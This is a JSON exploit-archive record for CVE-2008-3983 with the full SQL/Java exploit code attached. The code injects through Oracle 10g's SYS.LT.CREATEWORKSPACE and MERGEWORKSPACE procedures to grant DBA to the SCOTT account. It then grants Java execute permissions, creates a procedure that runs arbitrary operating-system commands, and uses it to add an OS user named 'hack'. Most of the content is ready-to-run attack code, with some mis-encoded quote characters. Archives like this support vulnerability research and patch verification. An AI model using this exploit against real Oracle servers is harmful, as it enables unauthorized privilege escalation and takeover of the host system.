{"exploit":{"id":"EDB-7676","name":"Oracle 10g - SYS.LT.MERGEWORKSPACE SQL Injection (SQLi)","description":"Oracle 10g - SYS.LT.MERGEWORKSPACE SQL Injection (SQLi)","cves":["CVE-2008-3983"],"author":"sh2kerr","published":"2009-01-06","platform":"multiple","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/7676","path":"exploits/multiple/local/7676.sql","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-7676.sql","vulnerabilities":[{"id":"CVE-2008-3983","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in the Workspace Manager component in Oracle Database 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.3, and 11.1.0.6 allows remote authenticated users to affect confidentiality and integrity, related to SYS.LT and WMSYS.LT, a different vulnerability than CVE-2008-3982 and CVE-2008-3984.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-3983","cvss":{"version":"2.0","baseScore":5.5,"severity":"medium","vectorString":"AV:N/AC:L/Au:S/C:P/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-3983"},"updatedAt":"2024-08-07T10:00:42.290Z","retrievedAt":"2026-11-27T11:07:18.598Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-7676.png?v=2","url":"https://exploitbin.com/exploits/EDB-7676","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-7676/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-7676/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*********************************************************/\n/*Oracle 10g SYS.LT.MERGEWORKSPACE SQL Injection Exploit**/\n/****grant DBA and create new  OS user (java)*************/\n/*********************************************************/\n/***********exploit grant DBA to scott********************/\n/***********and execute OS command \"net user\"*************/\n/***********using java procedures ************************/\n/*********************************************************/\n/***********tested on oracle 10.1.0.5.0*******************/\n/*********************************************************/\n/*********************************************************/\n/* Date of Public EXPLOIT: January 6, 2009               */\n/* Written by:             Alexandr \"Sh2kerr\" Polyakov   */\n/* email:                  Alexandr.Polyakov@dsec.ru     */\n/* site:                   http://www.dsecrg.ru          */\n/*                         http://www.dsec.ru            */\n/*********************************************************/\n/*Original Advisory:                                     */\n/*Esteban Martinez Fayo [Team SHATTER ]                  */\n/*Date of Public Advisory: November 11, 2008             */\n/*http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml*/\n/*********************************************************/\n\nselect * from user_role_privs;\n\nCREATE OR REPLACE FUNCTION Y return varchar2\nauthid current_user as\npragma autonomous_transaction;\nBEGIN\nEXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';\nCOMMIT;\nRETURN 'Y';\nEND;\n/\n\nexec SYS.LT.CREATEWORKSPACE('sh2kerr'' and SCOTT.Y()=''Y');\nexec SYS.LT.MERGEWORKSPACE('sh2kerr'' and SCOTT.Y()=''Y');\n\n\n\n/* Creating simple java procedure that executes OS  */\n\nexec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');\nexec dbms_java.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');\nexec dbms_java.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');\n\nCREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED \"JAVACMD\" AS\nimport java.lang.*;\nimport java.io.*;\npublic class JAVACMD\n{\n public static void execCommand (String command) throws IOException\n {\n     Runtime.getRuntime().exec(command);\n }\n};\n/\n\nCREATE OR REPLACE PROCEDURE JAVAEXEC (p_command  IN  VARCHAR2)\nAS LANGUAGE JAVA\nNAME 'JAVACMD.execCommand (java.lang.String)';\n/\n\n/* here we can paste any OS command for example create new user */\n\nexec javaexec(Â‘net user hack 12345 /addÂ’);\n\nselect * from user_role_privs;\n\n// milw0rm.com [2009-01-06]","sha256":"e43676a1cdd0fa4ccbc9716ef0601b6fba076c4f7d5c3b768fa406ac456830c6","bytes":2569,"fetchedAt":"2026-11-27T11:07:13.893Z","encoding":"utf-8 (display only; download retains original bytes)"}